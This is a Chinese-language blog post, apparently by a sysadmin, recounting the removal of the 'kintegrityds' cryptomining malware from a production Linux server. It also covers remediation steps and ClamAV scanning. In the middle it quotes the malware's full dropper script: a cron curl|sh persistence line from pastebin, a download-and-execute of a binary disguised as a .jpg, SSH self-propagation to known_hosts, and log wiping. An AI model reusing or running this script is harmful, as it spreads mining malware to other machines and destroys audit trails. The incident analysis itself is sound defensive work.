1. 程式人生 > >記一次生產主機中挖礦病毒"kintegrityds"處理過程!

記一次生產主機中挖礦病毒"kintegrityds"處理過程!

scan 告警 and 下載 clamscan linu conn 自動 out

【記一次生產挖礦病毒處理過程】:

可能性:webaap用戶密碼泄露、Jenkins/redis弱口令等。

1、監控到生產主機一直load告警

2、進服務器 top查看進程,發現挖礦病毒進程,此進程持續消耗cpu,kill掉還會自動啟動。
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND

10059 webapp 20 0 43612 9504 0 S 241.0 0.1 5:49.77 /tmp/kintegrityds

3、查看crontab -l
*/10 * * * * (curl -fsSL https://pastebin.com/raw/wDBa7jCQ||wget -q -O- https://pastebin.com/raw/wDBa7jCQ)|sh

4、分析定時任務:
瀏覽器打開:https://pastebin.com/raw/wDBa7jCQ 得到:
(curl -fsSL https://pastebin.com/raw/CBEphEbb||wget -q -O- https://pastebin.com/raw/CBEphEbb)|sed ‘s/\r//‘|sh

xshell執行:
[webapp@vm_0_17_centos ~]$ (curl -fsSL https://pastebin.com/raw/D8E71JBJ||wget -q -O- https://pastebin.com/raw/D8E71JBJ)|sed ‘s/\r//‘

得出腳本文件內容如下:

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

echo "*/10 * * * * (curl -fsSL https://pastebin.com/raw/wDBa7jCQ||wget -q -O- https://pastebin.com/raw/wDBa7jCQ)|sh" | crontab -

mkdir -p /tmp
chmod 1777 /tmp

ps -ef|grep -v grep|grep hwlh3wlh44lh|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk ‘{print $2}‘ | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep "watchdog"|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep "/tmp/devtool"|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep "systemctI"|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep "watchdogs"|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep "ksoftirqds"|awk ‘{print $2}‘|xargs kill -9
ps -ef|grep -v grep|grep "suolbcc"|awk ‘{print $2}‘|xargs kill -9
ps aux|grep -v grep|grep -v kintegrityds|awk ‘{if($3>=80.0) print $2}‘|xargs kill -9
apt-get install cron -y||yum install crontabs -y||apk add cron -y

if [ ! -f "/tmp/.X11unix" ]; then
ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
(curl -fsSL http://sowcar.com/t6/686/1553038571x2918527206.jpg -o /tmp/kpsmouseds||wget -q http://sowcar.com/t6/686/1553038571x2918527206.jpg -O /tmp/kpsmouseds) && chmod +x /tmp/kpsmouseds
elif [ ${ARCH}x = "i686x" ]; then
(curl -fsSL http://sowcar.com/t6/686/1553038610x2890149536.jpg -o /tmp/kpsmouseds||wget -q http://sowcar.com/t6/686/1553038610x2890149536.jpg -O /tmp/kpsmouseds) && chmod +x /tmp/kpsmouseds
else
(curl -fsSL http://sowcar.com/t6/686/1553038610x2890149536.jpg -o /tmp/kpsmouseds||wget -q http://sowcar.com/t6/686/1553038610x2890149536.jpg -O /tmp/kpsmouseds) && chmod +x /tmp/kpsmouseds
fi
/tmp/kpsmouseds
elif [ ! -f "/proc/$(cat /tmp/.X11unix)/stat" ]; then
ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
(curl -fsSL http://sowcar.com/t6/686/1553038571x2918527206.jpg -o /tmp/kpsmouseds||wget -q http://sowcar.com/t6/686/1553038571x2918527206.jpg -O /tmp/kpsmouseds) && chmod +x /tmp/kpsmouseds
elif [ ${ARCH}x = "i686x" ]; then
(curl -fsSL http://sowcar.com/t6/686/1553038610x2890149536.jpg -o /tmp/kpsmouseds||wget -q http://sowcar.com/t6/686/1553038610x2890149536.jpg -O /tmp/kpsmouseds) && chmod +x /tmp/kpsmouseds
else
(curl -fsSL http://sowcar.com/t6/686/1553038610x2890149536.jpg -o /tmp/kpsmouseds||wget -q http://sowcar.com/t6/686/1553038610x2890149536.jpg -O /tmp/kpsmouseds) && chmod +x /tmp/kpsmouseds
fi
/tmp/kpsmouseds
fi

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h ‘(curl -fsSL https://pastebin.com/raw/wDBa7jCQ||wget -q -O- https://pastebin.com/raw/wDBa7jCQ)|sh >/dev/null 2>&1 &‘ & done
fi

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

5、分析腳本內容:
定義環境變量-->把獲取腳本寫進crontab-->創建tmp目錄並修改權限-->排查出其他類型的挖礦病毒進程並幹掉-->強制下載文件到/tmp目錄並賦執行權限-->最後根據密鑰提取主機IP,批量處理 ssh 到主機執行腳本。


6、【解決過程】:root用戶
①、停止定時任務
service crontab stop

執行以下得到IP
grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts

排查以上IP的主機是否感染。

②、root用戶修改/tmp目錄權限755,此時文件屬組為root:root,webapp用戶沒有執行權限,就可以幹掉/tmp/kintegrityds進程了。
drwxr-xr-x 3 root root 12288 Mar 21 16:34 tmp

chmod 755 /tmp

--清空/tmp:
cd /tmp
rm -rf *

###cd /var/spool/cron/
###rm -rf webapp

###webapp清空/tmp:
###cd /tmp
###rm -rf *


③、kill掉此進程:/tmp/kintegrityds

top
10059 webapp 20 0 43612 9504 0 S 241.0 0.1 5:49.77 /tmp/kintegrityds

kill -9 10059

再次top,無此進程:/tmp/kintegrityds


④、crontab -l依然持續寫入*/10 * * * * (curl -fsSL https://pastebin.com/raw/wDBa7jCQ||wget -q -O- https://pastebin.com/raw/wDBa7jCQ)|sh到定時任務,判斷有守護進程。

top -U webapp
23545 webapp 20 0 109928 16532 4 S 0.0 0.1 4:37.53 [kpsmouseds]

發現可疑進程,幹掉,
kill -9 23545

不再持續寫入到定時任務。

⑤、最後修改webapp用戶密碼,修改/tmp文件屬組,啟動crontab,添加常用任務。

passwd webapp

chown -R webapp.webapp /tmp/

###chown -R webapp.webapp /var/spool/cron


/var/spool/cron


【安全防範】:
密鑰文件改別名:id_rsa.pub --> id_rsa.pub_bak_日期
Jenkins和Redis不要用弱口令
保管好主機密碼!


【 Linux殺毒軟件】:clamav
yum install clamav

· 升級病毒庫 freshclam
· 掃描所有用戶的主目錄就使用 clamscan -r /home
· 掃描您計算機上的所有文件並且顯示所有的文件的掃描結果,就使用 clamscan -r /
· 掃描您計算機上的所有文件並且顯示有問題的文件的掃描結果,就使用 clamscan -r --bell -i /
/usr/local/clamav/bin/clamscan -r --remove (查殺當前目錄並刪除感染的文件)
/usr/local/clamav/bin/clamscan -r --bell -i / (掃描所有文件並且顯示有問題的文件的掃描結果)

>其他參數
> -r/--recursive[=yes/no] 所有文件
>  --log=FILE/-l FILE 增加掃描報告
>  # clamscan -l /var/log/clamscan.log /
>  --move [路徑] 移動病毒文件至..
>  --remove [路徑] 刪除病毒文件
>  --quiet 只輸出錯誤消息
>  --infected/-i 只輸出感染文件
>  --suppress-ok-results/-o 跳過掃描OK的文件
>  --bell 掃描到病毒文件發出警報聲音
>  --unzip(unrar) 解壓壓縮文件掃描

--掃描根目錄下文件,並指定日誌文件:/var/log/clamscan.log

clamscan -r -l /var/log/clamscan.log / &

【查看CPU占用排名前十的進程:】
ps aux|head -1;ps aux|grep -v PID|sort -rn -k +3|head

【查看內存占用排名前十進程:】
ps aux|head -1;ps aux|grep -v PID|sort -rn -k +4|head

記一次生產主機中挖礦病毒"kintegrityds"處理過程!